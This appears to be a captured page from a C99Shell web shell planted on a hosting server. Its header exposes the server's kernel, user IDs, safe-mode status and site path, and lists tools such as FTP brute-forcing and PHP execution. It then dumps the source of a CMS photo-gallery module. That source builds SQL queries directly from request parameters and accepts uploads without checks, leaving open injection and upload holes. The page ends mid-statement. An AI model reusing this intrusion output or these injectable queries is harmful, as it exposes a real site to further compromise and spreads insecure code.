!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache/2.2.22 (Debian). PHP/5.6.36 

uname -a: Linux h05.hvosting.ua 4.9.110-amd64 #3 SMP Sun Nov 4 16:27:09 UTC 2018 x86_64 

uid=1389(h33678) gid=1099(h33678) groups=1099(h33678),502(mgrsecure) 

Safe-mode: OFF (not secure)

/home/h33678/data/www/msdp.undp.org.ua/modules/photochapter/   drwxr-xr-x
Free 106.19 GB of 200.55 GB (52.95%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     module.php (47.62 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?

class Photochapter
{
    var 
$UserMode   true;
    var 
$UserAsynchMode   true;
    var 
$AdminMode  false;
    var 
$AdminAsynchMode false;
    var 
$SearchMode false;
    var 
$PanelMode  true;
    var 
$AlbumTable;
    var 
$PhotosTable;
    var 
$Directory;
    var 
$FilesDirectory;    
    var 
$ClassName 'Photochapter';
    function 
Photochapter()
    {
        
$this->FilesDirectory "data/photochapter/";
        
$this->Directory dirname(__FILE__);    
        
$this->AlbumTable = new AMTable2('AMCMS_photochapter_albums');
        
$this->AlbumTable->AddIndexField('album_id');
        
$this->AlbumTable->AddPositionField("album_position");    
        
$this->AlbumTable->Module($this->ClassName);

        
$this->PhotosTable = new AMTable2('AMCMS_photochapter_photos');
        
$this->PhotosTable->AddIndexField('photo_id');
        
$this->PhotosTable->Module($this->ClassName);
        
$this->PhotosTable->AddPositionField("photo_position");    
        
    }
    static function 
GetCountOfPhotosFromUser($id)
    {
        
$row mysql_fetch_assoc(mysql_query("SELECT COUNT(*) as count FROM AMCMS_photochapter_photos WHERE photo_user_id = '{$id}'"));
        return 
$row['count'];
    }
    static function 
GetAlbumsOfUser($id)
    {
        
$res = (mysql_query("SELECT AMCMS_photochapter_albums.*, COUNT(*) as count FROM AMCMS_photochapter_albums, AMCMS_photochapter_photos WHERE photo_user_id = '{$id}' AND photo_album_id = album_id GROUP BY album_id ORDER BY count DESC"));
        
$rows = array();
        while (
$row mysql_fetch_assoc($res))
            
$rows [] = $row;
        return 
$rows;
    }
    static function 
GetSmallPhoto($id)
    {
        
$id $_GET['id'];
        
$photo $this->PhotosTable->GetRowById($id);
            
$photo['photo_small'];
    }
    function 
UserAsynch()
    {
        global 
$ulang$ULANG;
        if (isset(
$_POST['heart']))
        {
            if (!isset(
$_SESSION['user']))
                return;                
            
$id $_POST['heart'];
            
$photo $this->PhotosTable->GetRowById($id);
            
$users explode(","$photo['photo_hearts']);
            
$user_like true;
            if (
in_array($_SESSION['user']['user_id'], $users))
                
$user_like false;
            if (
$user_like)
            {
                
$users []= $_SESSION['user']['user_id'];
                
$row['photo_hearts'] = implode(","$users);
                
$this->PhotosTable->Update($row$id);
            } else
            {
                
$value_to_delete $_SESSION['user']['user_id'] ; 
                
$users array_flip($users); 
                unset (
$users[$value_to_delete]) ; 
                
$users array_flip($users);
                
                
$row['photo_hearts'] = implode(","$users);
                
$this->PhotosTable->Update($row$id);
            }
            
$res['count'] = count($users) - 1;
            
$res['like']  = $user_like;
            echo 
json_encode($res);
            return;
        }
        if (isset(
$_REQUEST['oper']) && ($_REQUEST['oper'] == 'showsmallphoto'))
        {
            
header ("Content-type: image/jpg");
            
$id $_GET['id'];
            
$photo $this->PhotosTable->GetRowById($id);
            echo 
file_get_contents("data/photochapter/".$photo['photo_small']);
            die;
        }
        if (isset(
$_POST['oper']) && ($_POST['oper'] == 'reorderphotos'))
        {
            if ((
$_SESSION['user']['user_access']['photochapter'] != 'Y') and
                (
$_SESSION['user']['user_access']['admin'] != 'Y'))
                    return;                    
            if (
$_POST['order'] == 'default')        
                
$_POST['photo'] = array_reverse($_POST['photo']);
            else
                return;
            
$order $_POST['photo'];
            
$ids   $_POST['photo'];
            
sort($order);
            
$sql "";
            for(
$i 0$i count($order); $i++)
            {
                
mysql_query("UPDATE AMCMS_photochapter_photos SET photo_position = '{$order[$i]}' WHERE photo_id = '{$ids[$i]}'");
            }
        }
        if (isset(
$_POST['oper']) && ($_POST['oper'] == 'reorderalbums'))
        {
            if ((
$_SESSION['user']['user_access']['photochapter'] != 'Y') and
                (
$_SESSION['user']['user_access']['admin'] != 'Y'))
                    return;                    
            if (
$_POST['order'] == 'default')        
                
$_POST['album'] = array_reverse($_POST['album']);
            else
                return;
            
$order $_POST['album'];
            
$ids   $_POST['album'];
            
sort($order);
            
$sql "";
            for(
$i 0$i count($order); $i++)
            {
                
mysql_query("UPDATE AMCMS_photochapter_albums SET album_position = '{$order[$i]}' WHERE album_id = '{$ids[$i]}'");
            }
        }

        if (isset(
$_GET['photo_id']) && isset($_GET['album_id']) && $_GET['oper'] == 'getfiles')
        {
            if (!isset(
$_SESSION['user']))
            {
                
$res['status'] = 'error';
                
$res['message'] = $ULANG['AMCMS_photochapter']['UnregisteredUserFullscreenView'];
                echo 
json_encode($res);
                return;
            }
            if (
$_SESSION['user']['user_blacklisted'] == 1)
            {
                
$res['status'] = 'error';
                
$res['message'] = $ULANG['AMCMS_photochapter']['BlackUserFullscreenView'];
                echo 
json_encode($res);
                return;    
            }
            
$photo $this->PhotosTable->GetRowById($_GET['photo_id']);
            
$album $this->AlbumTable->GetRowById($photo['photo_album_id']);
            if (
$_GET['album_id'] >= && $photo['photo_album_id'] != $_GET['album_id'])
                
$_GET['album_id'] = $photo['photo_album_id'];
            if (
$_GET['album_id'] >= 2)
                
$photosArr $this->PhotosTable->GetRows("photo_position DESC", array("photo_album_id='".$_GET['album_id']."'""photo_status = '1'"));
            if (
$_GET['album_id'] == 0)
                
$photosArr $this->PhotosTable->GetRows("photo_position DESC""photo_status = '1'");
            
            
$photos_id = array();
            
$photos_file = array();
            for(
$i 0$i count($photosArr); $i++)
            {
                
$photos_id [] = $photosArr[$i]['photo_id'];
                
$photos_file[] = $photosArr[$i]['photo_big'];
            }
            
$res['status'] = 'ok';
            
$res['photos'] = array('ids' => $photos_id'files' => $photos_file);
            echo 
json_encode($res);
            die;
        }
        if (isset(
$_GET['photo_id']))
        {
            if (!isset(
$_SESSION['user']))
            {
                
$res['status'] = 'error';
                
$res['message'] = $ULANG['AMCMS_photochapter']['UnregisteredUserFullscreenView'];
                echo 
json_encode($res);
                return;
            }
            if (
$_SESSION['user']['user_blacklisted'] == 1)
            {
                
$res['status'] = 'error';
                
$res['message'] = $ULANG['AMCMS_photochapter']['BlackUserFullscreenView'];
                echo 
json_encode($res);
                return;    
            }
            if (
$_GET['oper'] == 'edit' && ($_SESSION['user']['user_access']['admin'] == 'Y' || $_SESSION['user']['user_access']['photochapter-personal-photo-edit'] == 'Y' ||  $_SESSION['user']['user_access']['photochapter-all-photo-edit'] == 'Y'))
            {
                
$row $this->PhotosTable->GetRowById($_GET['photo_id']);
                if (
$_SESSION['user']['user_access']['photochapter-personal-photo-edit'] == 'Y' && $row['photo_user_id'] != $_SESSION['user']['user_id'])
                {

                } else
                if (isset(
$_POST['photo_description']))
                {
                    
$row['photo_description'] = $_POST['photo_description'];
                    
$this->PhotosTable->Update($row$_GET['photo_id']);
                }
            }            
            
$photo $this->PhotosTable->GetRowById($_GET['photo_id']);
            if (isset(
$_GET['getcomments']))
            {
                
$_GET['pageNum'] = $_GET['getcomments'];
                
$smarty GetUserSmarty($this->ClassName);
                
$html Comments::GetComments($this->ClassName"photochapter"$_GET['photo_id'], $nav$navobj);
                
$smarty->assign("comments"$html);
                
$smarty->assign("count",    Comments::GetCommentsCount($this->ClassName"photochapter"$_GET['photo_id']));
                
$smarty->assign("navigator"$nav);
                
$smarty->assign('row'$photo);
                
$smarty->assign('mod'$this->ClassName);
                
$res['comments'] = $smarty->fetch("photo-comments.tpl");            
                echo 
json_encode($res);
                die;                
            }
            
$album $this->AlbumTable->GetRowById($photo['photo_album_id']);
            
$user Users::GetUserById($photo['photo_user_id']);
            
$res['status'] = 'ok';
            
$res['img'] = "/data/photochapter/{$photo['photo_big']}";
            
$res['date'] = SimpleDateEcho($photo['photo_date']);
            
$res['description'] = nl2br($photo['photo_description']);
            
$res['user'] = "<a href=\"/id{$user['user_id']}\">{$user['user_name']} {$user['user_surname']}</a>";
            
$res['album'] = "{$ULANG['AMCMS_photochapter']['Album']} <a href=\"/photochapter/{$photo['photo_album_id']}\">".$album["album_title_{$ulang}"]."</a>";    
            
$res['disable_comments'] = $album['album_disable_comments'];
            
$users explode(","$photo['photo_hearts']);
            
$user_like false;
            if (
in_array($_SESSION['user']['user_id'], $users))
                
$user_like true;
            
$res['hearts'] = count(explode(",",$photo['photo_hearts'])) - 1;
            if (!isset(
$_SESSION['user']))
                
$user_like false;
            if ((
$_SESSION['user']['user_access']['photochapter-all-photo-edit'] == 'Y' || $_SESSION['user']['user_access']['admin'] == 'Y' || (($_SESSION['user']['user_access']['photochapter-personal-photo-edit'] == 'Y' ) && 
  (
$_SESSION['user']['user_id'] == $photo['photo_user_id'])) ||  $_SESSION['user']['user_access']['photochapter-all-photo-edit'] == 'Y'))
                
$res['allow_edit'] = true;
            else
                
$res['allow_edit'] = false;
            
$res['like'] = $user_like;
            
$res['id'] = $photo['photo_id'];
            
$res['rating'] = "";
            if (
$photo['photo_album_id'] == 17)
            {
                
$res['rating'] = Photochapter::GetRatingOfPhoto1($photo['photo_id']);            
            }
            
$smarty GetUserSmarty($this->ClassName);
            if (!isset(
$_REQUEST['pageNum']))
                
$_GET['pageNum'] = 'last';
            
$html Comments::GetComments($this->ClassName"photochapter"$_GET['photo_id'], $nav$navobj);
            
$smarty->assign("comments"$html);
            
$smarty->assign("count",    Comments::GetCommentsCount($this->ClassName"photochapter"$_GET['photo_id']));
            
$smarty->assign("navigator"$nav);
            
$smarty->assign('row'$photo);
            
$smarty->assign('mod'$this->ClassName);
            
$res['comments'] = $smarty->fetch("photo-comments.tpl");            
            echo 
json_encode($res);
            die;
        }
        if (
count($_FILES['QIU_thumbnails_Imagedata']['name']) > 0)
        {
            
$album $this->AlbumTable->GetRowById($_POST['AdditionalStringVariable']);
            if ((
$_SESSION['user']['user_access']['admin']) != 'Y' && 
                 
$album['album_closed'] == 'Y')
                 return;
            if (!isset(
$_SESSION['user']))
                return;
            if (
$_SESSION['user']['user_blacklisted'] == or $_SESSION['user']['user_ban'] == 1)
                return;                
            
$targetPath dirname($_SERVER['SCRIPT_URI']) . "/";
            
$photos = array();
            if(
$_FILES['QIU_thumbnails_Imagedata'])
            {                
                foreach (
$_FILES['QIU_thumbnails_Imagedata']['name'] as $key => $value
                {
                    
$photo = array();
                    
$photo['photo_date'] = GetCurrentDateAndTime();
                    
$photo['photo_user_id'] = $_SESSION['user']['user_id'];
                    
$photo['photo_album_id'] = $_POST['AdditionalStringVariable'];
                    
$photo['photo_small'] = 's_'.uniqid("").".jpg";
                    
$photo['photo_big'] = 'b_'.uniqid("").".jpg";
                    
$photo['photo_status'] = 1;
                    
move_uploaded_file($_FILES['QIU_thumbnails_Imagedata']['tmp_name'][$key], $this->FilesDirectory.$photo['photo_small']);
                    
$photos [] = $photo;
                }
            }
            
$i 0;
            foreach (
$_FILES['Imagedata']['name'] as $key => $value
            {
                
move_uploaded_file($_FILES['Imagedata']['tmp_name'][$key], $this->FilesDirectory.$photos[$i++]['photo_big']);
            }            
            foreach (
$photos as $key => $value)
            {
                
$this->PhotosTable->Insert($value);
            }
            
//$album = $this->AlbumTable->GetRowById($_POST['AdditionalStringVariable']);
            
/*            $lastPhoto = end($photos);
            if ($album['album_thumb_photo_id'] == 0)        
                mysql_query("UPDATE AMCMS_photochapter_albums SET album_thumb_file     = '{$lastPhoto['photo_small']}' WHERE album_id = '{$album['album_id']}'");*/
//            $date = GetCurrentDateAndTime();
//            mysql_query("UPDATE AMCMS_photochapter_albums SET album_date_of_modification = '{$date}' WHERE album_id = '{$album['album_id']}'");
        
}
    }
    static function 
GetPhotoheader()
    {
        
$html "<ul>";
        
$PhotosTable = new AMTable2('AMCMS_photochapter_photos');
        
$PhotosTable->AddIndexField('photo_id');
        
$PhotosTable->Module("Photochapter");
        
$PhotosTable->AddPositionField("photo_position");        
        
$rows $PhotosTable->GetRows("photo_position DESC""photo_album_id='".GetParam("HeaderPhotoAlbum")."'");
        foreach(
$rows as $key => $value)
        {
            
$html .= "<li><img src=\"/data/photochapter/"."b".$value['photo_filename'].".jpg\" /></li>";
        }        
        
$html .= "</ul>";        
        echo 
$html;
    }
    static function 
GetCountOfPhotos($id)
    {
        
$row mysql_fetch_assoc(mysql_query("SELECT COUNT(*) as count FROM AMCMS_photochapter_photos WHERE photo_album_id = '{$id}' AND photo_status = '1'"));
        return 
$row['count'];
    }
    static function 
GetLastPhotoInAlbum($album_id)
    {
        
$row mysql_fetch_assoc(mysql_query("SELECT * FROM AMCMS_photochapter_photos WHERE photo_album_id = '{$album_id}' AND photo_status  = '1' ORDER BY photo_date DESC LIMIT 0,1"));
        return 
$row['photo_small'];
    }
    static function 
GetCountOfNotModeratedPhotos()
    {
        if ((
$_SESSION['user']['user_access']['photochapter'] != 'Y') and
            (
$_SESSION['user']['user_access']['admin'] != 'Y'))
            
$row mysql_fetch_assoc(mysql_query("SELECT COUNT(*) as count FROM AMCMS_photochapter_photos WHERE photo_status = '0' AND photo_user_id = '{$_SESSION['user']['user_id']}'"));        
        else
            
$row mysql_fetch_assoc(mysql_query("SELECT COUNT(*) as count FROM AMCMS_photochapter_photos WHERE photo_status = '0'"));
        return 
$row['count'];
    }
    function 
User()
    {                
         global 
$ulang$ULANG;                 
        if (isset(
$_GET['oper']) && $_GET['oper'] == 'comments')
        {
                
$album_id $_GET['album_id'];
                
$albumCondition "";
                if (
$album_id 0)
                    
$albumCondition "AND (photo_album_id = '{$album_id}')"
                
$sql "SELECT COUNT(*) as count FROM AMCMS_comments, AMCMS_photochapter_photos, AMCMS_users WHERE (comment_module = 'Photochapter') AND (comment_chapter = 'photochapter') AND (comment_page = photo_id) {$albumCondition} AND (comment_user_id = user_id) AND (comment_status = '1') ORDER BY comment_date DESC";
                
$row mysql_fetch_assoc(mysql_query($sql));
                
$count $row['count'];
                
$page_navigator = new AMPageNavigator($count$_GET['pageNum'], 20);
                
$limit $page_navigator->GetLimitStatement();
                
                
$sql "SELECT AMCMS_comments.*, AMCMS_photochapter_photos.*, AMCMS_users.* FROM AMCMS_comments, AMCMS_photochapter_photos, AMCMS_users WHERE (comment_module = 'Photochapter') AND (comment_chapter = 'photochapter') AND (comment_page = photo_id) {$albumCondition} AND (comment_user_id = user_id) AND (comment_status = '1') ORDER BY comment_date DESC {$limit}";
                
$rows = array();
                
$res mysql_query($sql);
                while (
$row mysql_fetch_assoc($res))
                {
                    
$rows [] = $row;
                }
                
$smarty GetUserSmarty($this->ClassName);
                
$smarty->assign("rows"$rows);
                
$smarty->assign("count"$count);
                
$smarty->assign("pnav"$page_navigator->GetNavigator());
                
$result['Title'] = $ULANG['AMCMS_photochapter']['AlbumComments'];
                
$result['Content'] = $smarty->fetch("album-comments.tpl");
                
$navigator = new AMNavigator();
                                
                
$navigator->AddLink($ULANG['AMCMS_photochapter']['Photochapter'], "/photochapter");
                
$row $this->AlbumTable->GetRowById($album_id);
                if (
$_GET['album_id'] == 0)
                    
$row = array("album_title_rus" => $ULANG['AMCMS_photochapter']['AllPhotosAlbum'],
                                
"album_title_ukr" => $ULANG['AMCMS_photochapter']['AllPhotosAlbum'], 
                                
"album_id" => 0);
                
$navigator->AddLink($row["album_title_{$ulang}"], "/photochapter/{$_GET['album_id']}");
                
$navigator->AddLink($ULANG['AMCMS_photochapter']['AlbumComments'], "");
                
$result['GlobalParams']['Navigator'] = $navigator->Fetch();
                
$result['GlobalParams']['PageTitle'] = $navigator->GetTitleForPage();
                
$result['Module'] = $this->ClassName;
                
$result['Print'] = true;    
                return 
$result;                        
        }
        if (isset(
$_GET['create']))
        {
            if ((
$_SESSION['user']['user_access']['photochapter'] != 'Y') and
                (
$_SESSION['user']['user_access']['admin'] != 'Y'))
                    
header("Location: /photochapter/");
            if (
$_GET['create'] == 'album')
            {
                if (isset(
$_POST['album_title_eng']) && isset($_POST['album_title_ukr']) &&
                    isset(
$_POST['album_description_eng']) && isset($_POST['album_description_ukr']))
                    {
                    
$_POST['album_date_of_creation'] = GetCurrentDateAndTime();
                    
$_POST['album_date_of_modification']  = GetCurrentDateAndTime();                      
                    
$_POST['album_user_id'] = $_SESSION['user']['user_id'];
                    
$id $this->AlbumTable->Insert($_POST);
                    
header("Location: /photochapter");
                }
                
$smarty GetUserSmarty($this->ClassName);
    
//            $smarty->assign("rows", $rows);                                
                
$result['Title'] = $ULANG['AMCMS_photochapter']['AlbumCreation'];
                
$result['Content'] = $smarty->fetch("album-create.tpl");
                
$navigator = new AMNavigator();
                
$navigator->AddLink($ULANG['AMCMS_photochapter']['Photochapter'], "/photochapter");
                
$navigator->AddLink($ULANG['AMCMS_photochapter']['AlbumCreation'], "/photochapter");
                
$result['GlobalParams']['Navigator'] = $navigator->Fetch();
                
$result['GlobalParams']['PageTitle'] = $navigator->GetTitleForPage();
                
$result['Module'] = $this->ClassName;
                
$result['Print'] = true;    
                return 
$result;                    
            }
        }
        
        if (isset(
$_GET['delete']))
        {
            if ((
$_SESSION['user']['user_access']['photochapter'] != 'Y') and
                (
$_SESSION['user']['user_access']['admin'] != 'Y'))
                    
header("Location: /photochapter/");            
            
$album_id $_GET['delete'];

            global 
$ALANG$alang;            
            
$smarty GetUserSmarty($this->ClassName);
            if (isset(
$_POST['delete']))
            {                
                
$sql "SELECT AMCMS_photochapter_photos.*, AMCMS_users.* FROM AMCMS_photochapter_photos, AMCMS_users WHERE photo_album_id = '{$album_id}' AND user_id = photo_user_id AND photo_status = '1' ";
                
$res mysql_query($sql);
                
$rows = array();
                while (
$row mysql_fetch_assoc($res))
                {
                    
$photo_small_old "data/photochapter/".$row['photo_small'];
                    
$photo_big_old "data/photochapter/".$row['photo_big'];
                    
$photo_small_new "data/photochapter/deleted_".$row['photo_small'];
                    
$photo_big_new "data/photochapter/deleted_".$row['photo_big'];
                    @
rename($photo_small_old$photo_small_new);
                    @
rename($photo_big_old$photo_big_new);                    
                }
                
$this->AlbumTable->Delete($_GET['delete']);
                
header("Location: /photochapter/");
                die;
            }                

            
$id $_GET['delete'];
            
$row $this->AlbumTable->GetRowById($id);
            
            
$smarty->assign("row"$row);
            
$smarty->assign('oper''delete');
            
$result['Title']     = $ULANG['AMCMS_photochapter']['AlbumRemoval'];
            
$result['Content']     = $smarty->fetch('album-delete.tpl');
            
$navigator = new AMNavigator();
            
$navigator->AddLink($ULANG['AMCMS_photochapter']['Photochapter'], "/photochapter");
            
$navigator->AddLink($row["album_title_{$ulang}"], "/photochapter/{$_GET['album_id']}");
            
$navigator->AddLink($ULANG['AMCMS_photochapter']['AlbumRemoval'], "/photochapter");

            
$result['GlobalParams']['Navigator'] = $navigator->Fetch();
            
$result['GlobalParams']['PageTitle'] = $navigator->GetTitleForPage();
            
$result['Module'] = $this->ClassName;
            
$result['Print'] = true;    
            return 
$result;
        }        
        
        if (isset(
$_GET['edit']))
        {
            if ((
$_SESSION['user']['user_access']['photochapter'] != 'Y') and
                (
$_SESSION['user']['user_access']['admin'] != 'Y'))
                    
header("Location: /photochapter/");    
            
$album_id $_GET['edit'];
            if (isset(
$_POST['album_title_rus']) && isset($_POST['album_title_ukr']) &&
                isset(
$_POST['album_description_rus']) && isset($_POST['album_description_ukr']))
                
$this->AlbumTable->Update($_POST$album_id);
            
$album $this->AlbumTable->GetRowById($album_id);
            
$smarty GetUserSmarty($this->ClassName);
            
$smarty->assign("album"$album);
            if (isset(
$_POST['album_thumb']) && ($_POST['album_thumb'] > 0))
            {
                
$photo $this->PhotosTable->GetRowById($_POST['album_thumb']);
                
$r = array('album_thumb_file' => $photo['photo_small']);
                
$this->AlbumTable->Update($r$_GET['edit']);
            }
            if (isset(
$_POST['photo_album_id']) && isset($_POST['photo_description']) && isset($_GET['edit']))
            {
                    for(
$i 0$i count($_POST['photo_album_id']); $i++)
                    {
                        if (
$_POST['photo_album_id'][$i] == 0)
                            
$_POST['photo_album_id'][$i] = $album_id;
                        
mysql_query("UPDATE AMCMS_photochapter_photos SET photo_description = '{$_POST['photo_description'][$i]}', photo_album_id = '{$_POST['photo_album_id'][$i]}' WHERE photo_id = '{$_POST['photo_id'][$i]}'");
                    }
                    for(
$i 0$i count($_POST['photo_album_id']); $i++)
                    {
                        if (
$_POST['photo_status'][$i] == 2)
                        {
                            
$photo $this->PhotosTable->GetRowById($_POST['photo_id'][$i]);
                            @
unlink("data/photochapter/".$photo['photo_small']);
                            @
unlink("data/photochapter/".$photo['photo_big']);
                            
mysql_query("DELETE FROM AMCMS_photochapter_photos WHERE photo_id = '{$_POST['photo_id'][$i]}'");                            
                        }
                        if (
$_POST['photo_status'][$i] == 0)
                        {
                            
$row['album_date_of_modification'] = GetCurrentDateAndTime();
                            
$photo $this->AlbumTable->Update($row$_POST['photo_album_id'][$i]);
                        }                        
                        
mysql_query("UPDATE AMCMS_photochapter_photos SET photo_description = '{$_POST['photo_description'][$i]}', photo_album_id = '{$_POST['photo_album_id'][$i]}', photo_status = '{$_POST['photo_status'][$i]}' WHERE photo_id = '{$_POST['photo_id'][$i]}'");
                    }
            }
            if (isset(
$_POST['album_title_rus']) && isset($_POST['album_title_ukr']) &&
                isset(
$_POST['album_description_rus']) && isset($_POST['album_description_ukr']))            
                                
header("Location: /photochapter/{$_GET['edit']}");
            
$albums $this->AlbumTable->GetRows("album_position DESC""album_id > 1");
            
$order "default";
            
$orderby "photo_position DESC";
            
$sql "SELECT AMCMS_photochapter_photos.*, AMCMS_users.* FROM AMCMS_photochapter_photos, AMCMS_users WHERE photo_album_id = '{$album_id}' AND user_id = photo_user_id AND photo_status = '1' ORDER BY $orderby";
            
$res mysql_query($sql);
            
$rows = array();
            while (
$row mysql_fetch_assoc($res))
                
$rows [] = $row;
            
$smarty->assign("rows"$rows);                                
            
$smarty->assign("album"$album);
            
$smarty->assign("albums"$albums);
            
$smarty->assign("order"$order);
            
$result['Title'] = $ULANG['AMCMS_photochapter']['AlbumEditing'];            
            
$result['Content'] = $smarty->fetch("album-edit.tpl");
            
$navigator = new AMNavigator();
            
$navigator->AddLink($ULANG['AMCMS_photochapter']['Photochapter'], "/photochapter");
            
$navigator->AddLink($album["album_title_{$ulang}"], "/photochapter/{$_GET['album_id']}");
            
$navigator->AddLink($ULANG['AMCMS_photochapter']['AlbumEditing'], "/photochapter");
            
$result['GlobalParams']['Navigator'] = $navigator->Fetch();
            
$result['GlobalParams']['PageTitle'] = $navigator->GetTitleForPage();
            
$result['Module'] = $this->ClassName;
            
$result['Print'] = true;    
            return 
$result;                    
        }        
        if (isset(
$_GET['oper']) && ($_GET['oper'] = 'upload') && isset($_GET['album_id']))
        {
            if (!isset(
$_SESSION['user']))
                return; 
            if (
$_SESSION['user']['user_blacklisted'] == or $_SESSION['user']['user_ban'] == 1)
                return;                
            
$smarty GetUserSmarty($this->ClassName);
            
$album $this->AlbumTable->GetRowById($_GET['album_id']);
            
$smarty->assign('album'$album);
            
$result['Title'] = $ULANG['AMCMS_photochapter']['PhotosUploading'];
            
$result['Content'] = $smarty->fetch("photos-upload.tpl");
            
$navigator = new AMNavigator();
            
$navigator->AddLink($ULANG['AMCMS_photochapter']['Photochapter'], "/photochapter");
            
$navigator->AddLink($album["album_title_{$ulang}"], "/photochapter/{$_GET['album_id']}");
            
$navigator->AddLink($ULANG['AMCMS_photochapter']['PhotosUploading'], "");
            
$result['GlobalParams']['Navigator'] = $navigator->Fetch();
            
$result['GlobalParams']['PageTitle'] = $navigator->GetTitleForPage();
            
$result['Module'] = $this->ClassName;
            
$result['Print'] = true;    
            return 
$result;                    
        }
        if ((isset(
$_GET['album']) && $_GET['album'] == 'uploaded') || (isset($_GET['album_id']) && $_GET['album_id'] == 1))
        {            
            if (!isset(
$_SESSION['user']))
                return;         
            if (
$_SESSION['user']['user_blacklisted'] == or $_SESSION['user']['user_ban'] == 1)
                return;                
                
            if (((
$_SESSION['user']['user_access']['photochapter'] != 'Y') and
                (
$_SESSION['user']['user_access']['admin'] != 'Y')) and ($_GET['album_id'] == 1))
                {
                    
header("Location: /photochapter/uploaded");
                }            
            if (isset(
$_POST['photo_album_id']) && isset($_POST['photo_description']))
            {
                if (isset(
$_GET['album']) && $_GET['album'] == 'uploaded')
                    for(
$i 0$i count($_POST['photo_album_id']); $i++)
                    {
                        
mysql_query("UPDATE AMCMS_photochapter_photos SET photo_description = '{$_POST['photo_description'][$i]}', photo_album_id = '{$_POST['photo_album_id'][$i]}' WHERE photo_id = '{$_POST['photo_id'][$i]}'");
                    }
                if ((isset(
$_GET['album_id']) && $_GET['album_id'] == 1))
                    for(
$i 0$i count($_POST['photo_album_id']); $i++)
                    {
                        if (
$_POST['photo_status'][$i] == 2)
                        {
                            
$photo $this->PhotosTable->GetRowById($_POST['photo_id'][$i]);
                            @
unlink("data/photochapter/".$photo['photo_small']);
                            @
unlink("data/photochapter/".$photo['photo_big']);
                            
mysql_query("DELETE FROM AMCMS_photochapter_photos WHERE photo_id = '{$_POST['photo_id'][$i]}'");                            
                        }
                        if (
$_POST['photo_status'][$i] == 1)
                        {
                            
$row['album_date_of_modification'] = GetCurrentDateAndTime();
                            
$photo $this->AlbumTable->Update($row$_POST['photo_album_id'][$i]);
                        }                        
                        
mysql_query("UPDATE AMCMS_photochapter_photos SET photo_description = '{$_POST['photo_description'][$i]}', photo_album_id = '{$_POST['photo_album_id'][$i]}', photo_status = '{$_POST['photo_status'][$i]}' WHERE photo_id = '{$_POST['photo_id'][$i]}'");
                    }
            }
            
$smarty GetUserSmarty($this->ClassName);
            
$albums $this->AlbumTable->GetRows("album_position DESC""album_id > 1");
            
$order "default";
            
$orderby "photo_id DESC";
            
$rows  $this->PhotosTable->GetRows($orderby, array("photo_status = '0'""photo_user_id = '{$_SESSION['user']['user_id']}'"));
            if (
$_GET['album_id'] == 1)
            {
                
$sql "SELECT AMCMS_photochapter_photos.*, AMCMS_users.* FROM AMCMS_photochapter_photos, AMCMS_users WHERE photo_status = '0' AND user_id = photo_user_id ORDER BY $orderby";
                
$res mysql_query($sql);
                
$rows = array();
                while (
$row mysql_fetch_assoc($res))
                    
$rows [] = $row;
//                $rows  = $this->PhotosTable->GetRows($orderby, "photo_status = '0'");
            
}
            
$album = array("album_title_rus" => $ULANG['AMCMS_photochapter']['ModerAlbumTitleForUsers'], 
                           
"album_title_ukr" => $ULANG['AMCMS_photochapter']['ModerAlbumTitleForUsers'], 
                           
"album_id" => 0);
            
$smarty->assign("rows"$rows);                                
            
$smarty->assign("album"$album);
            
$smarty->assign("albums"$albums);
            
$smarty->assign("order"$order);
            
$result['Title'] = $album["album_title_{$ulang}"];
            if (
$_GET['album_id'] != 1)
                
$result['Content'] = $smarty->fetch("photos-uploaded.tpl");
            else
            {
                
$result['Content'] = $smarty->fetch("photos-uploaded-admin.tpl");
            }
            
$navigator = new AMNavigator();
            
$navigator->AddLink($ULANG['AMCMS_photochapter']['Photochapter'], "/photochapter");
            
$navigator->AddLink($album["album_title_{$ulang}"], "/photochapter/{$_GET['album_id']}");
            
$result['GlobalParams']['Navigator'] = $navigator->Fetch();
            
$result['GlobalParams']['PageTitle'] = $navigator->GetTitleForPage();
            
$result['Module'] = $this->ClassName;
            
$result['Print'] = true;    
            return 
$result;                                
        }
        if (!isset(
$_GET['album_id']))
        {
            
$smarty GetUserSmarty($this->ClassName);
            
$order "default";
            
$orderby "album_position DESC";
            if (isset(
$_GET['order']))
                
$order $_GET['order'];
            if (
$order == "creation")
                
$orderby "album_date_of_creation DESC";
            if (
$order == "update")
                
$orderby "album_date_of_modification DESC";
            if (
$order == "alpha")
                
$orderby "album_title_{$ulang} ASC";
            
$rows $this->AlbumTable->GetRows($orderby"album_description_{$ulang} LIKE '%{$_GET['text']}%' OR album_title_{$ulang} LIKE '%{$_GET['text']}%'");

/*            $pn = new AMPageNavigator($rows[$key]['comments_count'], 1, 20);
            $rows[$key]['max_page'] = 'last';
            $rows[$key]['navigator'] = $pn->GetNavigator("/forum/".$value['theme_id']);*/

            
$smarty->assign("order"$order);

            foreach(
$rows as $key => $value)
            {
                if (
$rows[$key]['album_id'] != 1)
                    
$rows[$key]['count'] = Photochapter::GetCountOfPhotos($value['album_id']);
                else
                    
$rows[$key]['count'] = Photochapter::GetCountOfNotModeratedPhotos();
                if ((
$rows[$key]['album_id'] == 1) and ($rows[$key]['count'] == 0))
                    unset(
$rows[$key]);
            }            
            
$smarty->assign("rows"$rows);        
            
$result['Title'] = $ULANG['AMCMS_photochapter']['Photochapter'];
            
$result['Content'] = $smarty->fetch("albums.tpl");
            
$navigator = new AMNavigator();
            
$navigator->AddLink($ULANG['AMCMS_photochapter']['Photochapter'], "/photochapter");
            
$result['GlobalParams']['Navigator'] = $navigator->Fetch();
            
$result['GlobalParams']['PageTitle'] = $navigator->GetTitleForPage();
            
$result['Module'] = $this->ClassName;
            
$result['Print'] = true;    
            return 
$result;                    
        }
        if (isset(
$_GET['album_id']))
        {
            
$smarty GetUserSmarty($this->ClassName);
            
$album $this->AlbumTable->GetRowById($_GET['album_id']);
            
$order "default";
            if (isset(
$_GET['order']))
                
$order $_GET['order'];
            if (
$order == "default")
                
$orderby "photo_position DESC";
            if (
$order == "desc")
                
$orderby "photo_id DESC";
            if (
$order == "asc")
                
$orderby "photo_id ASC";
            
$user_where "";
            if (isset(
$_GET['user_id']))
                
$user_where "AND photo_user_id = {$_GET['user_id']}";
            if (
